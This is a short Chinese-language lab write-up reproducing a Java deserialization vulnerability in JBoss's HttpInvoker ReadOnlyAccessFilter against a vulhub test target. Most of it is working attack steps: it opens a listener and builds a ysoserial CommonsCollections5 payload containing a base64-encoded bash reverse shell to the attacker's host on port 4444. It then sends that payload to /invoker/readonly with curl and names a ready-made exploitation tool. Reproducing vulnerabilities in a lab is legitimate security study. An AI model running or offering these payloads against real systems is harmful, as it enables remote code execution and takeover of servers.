概要
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
漏洞环境
vulhub靶场环境: http://192.168.1.129:8080/
漏洞复现
反弹shell的方式
1、本机开启端口监听,端口设置为4444端口
2、使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要进行一次编码。
工具:https://ares-x.com/tools/runtime-exec
3、使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
4、发送POC,生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly,这里用Burp一直没成功,换成用curl命令的方式发送:
curl http://192.168.1.129:8080/invoker/readonly --data-binary @poc.ser
成功反弹shell:
工具直接利用
命令执行工具:
反弹shell工具,地址:https://github.com/joaomatosf/jexboss